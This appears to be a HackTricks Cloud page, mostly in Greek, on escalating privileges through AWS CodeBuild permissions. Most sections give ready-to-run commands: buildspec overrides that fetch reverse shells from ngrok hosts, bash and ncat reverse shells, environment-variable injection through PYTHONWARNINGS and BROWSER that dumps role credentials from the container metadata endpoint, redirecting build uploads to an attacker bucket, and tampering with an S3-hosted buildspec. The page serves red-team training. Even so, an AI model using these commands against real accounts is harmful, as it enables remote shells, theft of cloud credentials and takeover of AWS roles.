AWS - Codebuild Privesc
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
codebuild
Περισσότερες πληροφορίες:
codebuild:StartBuild | codebuild:StartBuildBatch
Ακόμα και με μία από αυτές τις άδειες είναι αρκετό για να εκκινήσει ένα build με ένα νέο buildspec και να κλαπεί το token του iam role που έχει ανατεθεί στο project:
cat > /tmp/buildspec.yml <<EOF
version: 0.2
phases:
build:
commands:
- curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh
EOF
aws codebuild start-build --project <project-name> --buildspec-override file:///tmp/buildspec.yml
Σημείωση: Η διαφορά μεταξύ αυτών των δύο εντολών είναι ότι:
StartBuildενεργοποιεί ένα μόνο build job χρησιμοποιώντας ένα συγκεκριμένοbuildspec.yml.StartBuildBatchεπιτρέπει να ξεκινήσετε ένα batch από builds, με πιο σύνθετες ρυθμίσεις (όπως εκτέλεση πολλαπλών builds παράλληλα).
Πιθανός Αντίκτυπος: Άμεσο privesc σε συνδεδεμένους AWS Codebuild roles.
StartBuild Env Var Override
Ακόμη και αν δεν μπορείτε να τροποποιήσετε το project (UpdateProject) και δεν μπορείτε να παρακάμψετε το buildspec, το codebuild:StartBuild εξακολουθεί να επιτρέπει την παράκαμψη των env vars κατά τη διάρκεια του build μέσω:
- CLI:
--environment-variables-override - API:
environmentVariablesOverride
Εάν το build χρησιμοποιεί environment variables για να ελέγξει τη συμπεριφορά (destination buckets, feature flags, proxy settings, logging, κ.λπ.), αυτό μπορεί να είναι αρκετό για να exfiltrate secrets που ο build role μπορεί να προσπελάσει ή για να αποκτήσετε code execution μέσα στο build.
Example 1: Redirect Artifact/Upload Destination to Exfiltrate Secrets
Εάν το build δημοσιεύει ένα artifact σε ένα bucket/path που ελέγχεται από μια env var (για παράδειγμα UPLOAD_BUCKET), παρακάμψτε το σε ένα attacker-controlled bucket:
export PROJECT="<project-name>"
export EXFIL_BUCKET="<attacker-controlled-bucket>"
export BUILD_ID=$(aws codebuild start-build \
--project-name "$PROJECT" \
--environment-variables-override name=UPLOAD_BUCKET,value="$EXFIL_BUCKET",type=PLAINTEXT \
--query build.id --output text)
# Wait for completion
while true; do
STATUS=$(aws codebuild batch-get-builds --ids "$BUILD_ID" --query 'builds[0].buildStatus' --output text)
[ "$STATUS" = "SUCCEEDED" ] && break
[ "$STATUS" = "FAILED" ] || [ "$STATUS" = "FAULT" ] || [ "$STATUS" = "STOPPED" ] || [ "$STATUS" = "TIMED_OUT" ] && exit 1
sleep 5
done
# Example expected location (depends on the buildspec/project logic):
aws s3 cp "s3://$EXFIL_BUCKET/uploads/$BUILD_ID/flag.txt" -
Παράδειγμα 2: Python Startup Injection via PYTHONWARNINGS + BROWSER
Αν το build εκτελεί python3 (συνηθισμένο σε buildspecs), μερικές φορές μπορείτε να αποκτήσετε εκτέλεση κώδικα χωρίς να τροποποιήσετε το buildspec, καταχρώμενοι:
PYTHONWARNINGS: Python επιλύει το category field και θα εισάγει dotted paths. Η ρύθμισή του σε...:antigravity.x:...αναγκάζει την εισαγωγή του stdlib moduleantigravity.antigravity: καλείwebbrowser.open(...).BROWSER: ελέγχει τι εκτελεί τοwebbrowser. Σε Linux διαχωρίζεται με:. Χρησιμοποιώντας#%sτο URL όρισμα γίνεται σχόλιο στο shell.
Αυτό μπορεί να χρησιμοποιηθεί για να εκτυπώσει τα διαπιστευτήρια του ρόλου CodeBuild (από http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI) στα CloudWatch logs, και στη συνέχεια να τα ανακτήσετε αν έχετε δικαιώματα ανάγνωσης logs.
Επεκτάσιμο: StartBuild JSON request για το PYTHONWARNINGS + BROWSER trick
```json
{
"projectName": "codebuild_lab_7_project",
"environmentVariablesOverride": [
{
"name": "PYTHONWARNINGS",
"value": "all:0:antigravity.x:0:0",
"type": "PLAINTEXT"
},
{
"name": "BROWSER",
"value": "/bin/sh -c 'echo CREDS_START; URL=$(printf \"http\\\\072//169.254.170.2%s\" \"$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI\"); curl -s \"$URL\"; echo CREDS_END' #%s",
"type": "PLAINTEXT"
}
]
}
```
iam:PassRole, codebuild:CreateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)
Ένας επιτιθέμενος με τα δικαιώματα iam:PassRole, codebuild:CreateProject, και codebuild:StartBuild ή codebuild:StartBuildBatch θα μπορούσε να κλιμακώσει προνόμια σε οποιονδήποτε codebuild IAM role δημιουργώντας έναν ενεργό.
# Enumerate then env and get creds
REV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash"
JSON="{
\"name\": \"codebuild-demo-project\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"aws/codebuild/standard:1.0\",
\"computeType\": \"BUILD_GENERAL1_SMALL\"
},
\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"
}"
REV_PATH="/tmp/rev.json"
printf "$JSON" > $REV_PATH
# Create project
aws codebuild create-project --name codebuild-demo-project --cli-input-json file://$REV_PATH
# Build it
aws codebuild start-build --project-name codebuild-demo-project
# Wait 3-4 mins until it's executed
# Then you can access the logs in the console to find the AWS role token in the output
# Delete the project
aws codebuild delete-project --name codebuild-demo-project
Potential Impact: Άμεσο privesc σε οποιοδήποτε AWS Codebuild role.
Warning
Σε ένα Codebuild container το αρχείο
/codebuild/output/tmp/env.shπεριέχει όλα τα env vars που χρειάζονται για να αποκτήσετε πρόσβαση στα metadata credentials.
Αυτό το αρχείο περιέχει την env variable
AWS_CONTAINER_CREDENTIALS_RELATIVE_URIη οποία περιέχει το URL path για πρόσβαση στα credentials. Θα είναι κάτι σαν αυτό/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420
Πρόσθεσε αυτό στο URL
http://169.254.170.2/και θα μπορέσεις να κάνεις dump τα role credentials.
Επιπλέον, περιέχει επίσης την env variable
ECS_CONTAINER_METADATA_URIη οποία περιέχει το complete URL για να πάρεις metadata info about the container.
iam:PassRole, codebuild:UpdateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)
Όπως στην προηγούμενη ενότητα, αν αντί να δημιουργήσεις ένα build project μπορείς να το τροποποιήσεις, μπορείς να ορίσεις το IAM Role και να κλέψεις το token
REV_PATH="/tmp/codebuild_pwn.json"
# Enumerate then env and get creds
REV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash"
# You need to indicate the name of the project you want to modify
JSON="{
\"name\": \"<codebuild-demo-project>\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"aws/codebuild/standard:1.0\",
\"computeType\": \"BUILD_GENERAL1_SMALL\"
},
\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"
}"
printf "$JSON" > $REV_PATH
aws codebuild update-project --name codebuild-demo-project --cli-input-json file://$REV_PATH
aws codebuild start-build --project-name codebuild-demo-project
Πιθανός Αντίκτυπος: Άμεσο privesc σε οποιονδήποτε ρόλο AWS Codebuild.
codebuild:UpdateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)
Όπως στην προηγούμενη ενότητα αλλά χωρίς την iam:PassRole άδεια, μπορείτε να καταχραστείτε αυτά τα δικαιώματα για να τροποποιήσετε υπάρχοντα έργα Codebuild και να αποκτήσετε πρόσβαση στον ρόλο που τους έχει ήδη ανατεθεί.
REV_PATH="/tmp/codebuild_pwn.json"
# Enumerate then env and get creds
REV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh"
JSON="{
\"name\": \"<codebuild-demo-project>\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\",
\"computeType\": \"BUILD_GENERAL1_SMALL\",
\"imagePullCredentialsType\": \"CODEBUILD\"
}
}"
# Note how it's used a image from AWS public ECR instead from docjerhub as dockerhub rate limits CodeBuild!
printf "$JSON" > $REV_PATH
aws codebuild update-project --cli-input-json file://$REV_PATH
aws codebuild start-build --project-name codebuild-demo-project
Πιθανός αντίκτυπος: Άμεσο privesc στους συνδεδεμένους ρόλους AWS Codebuild.
SSM
Έχοντας αρκετά δικαιώματα για να ξεκινήσετε μια ssm session είναι δυνατό να μπείτε μέσα σε ένα Codebuild project που εκτελείται.
The codebuild project will need to have a breakpoint:
phases:
pre_build:
commands:
- echo Entered the pre_build phase...
- echo "Hello World" > /tmp/hello-world
- codebuild-breakpoint
Και μετά:
aws codebuild batch-get-builds --ids <buildID> --region <region> --output json
aws ssm start-session --target <sessionTarget> --region <region>
Για περισσότερες πληροφορίες check the docs.
(codebuild:StartBuild | codebuild:StartBuildBatch), s3:GetObject, s3:PutObject
Ένας attacker που μπορεί να ξεκινήσει/επαναλάβει ένα build ενός συγκεκριμένου CodeBuild project που αποθηκεύει το αρχείο buildspec.yml σε ένα S3 bucket στο οποίο ο attacker έχει δικαιώματα εγγραφής, μπορεί να αποκτήσει command execution στη διαδικασία του CodeBuild.
Σημείωση: η escalation είναι σχετική μόνο εάν ο CodeBuild worker έχει διαφορετικό role, ιδανικά πιο privileged, από εκείνο του attacker.
aws s3 cp s3://<build-configuration-files-bucket>/buildspec.yml ./
vim ./buildspec.yml
# Add the following lines in the "phases > pre_builds > commands" section
#
# - apt-get install nmap -y
# - ncat <IP> <PORT> -e /bin/sh
aws s3 cp ./buildspec.yml s3://<build-configuration-files-bucket>/buildspec.yml
aws codebuild start-build --project-name <project-name>
# Wait for the reverse shell :)
Μπορείτε να χρησιμοποιήσετε κάτι σαν αυτό το buildspec για να αποκτήσετε ένα reverse shell:
version: 0.2
phases:
build:
commands:
- bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1
Επίπτωση: Άμεσο privesc στον ρόλο που χρησιμοποιείται από τον AWS CodeBuild worker που συνήθως έχει υψηλά προνόμια.
Warning
Σημειώστε ότι το buildspec ενδέχεται να αναμένεται σε zip μορφή, οπότε ένας επιτιθέμενος θα χρειαστεί να κατεβάσει, unzip, τροποποιήσει το
buildspec.ymlαπό τον ριζικό κατάλογο, zip ξανά και να το ανεβάσει
Περισσότερες λεπτομέρειες μπορείτε να βρείτε εδώ.
Πιθανή Επίπτωση: Άμεσο privesc στους συνδεδεμένους ρόλους του AWS Codebuild.
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
HackTricks Cloud

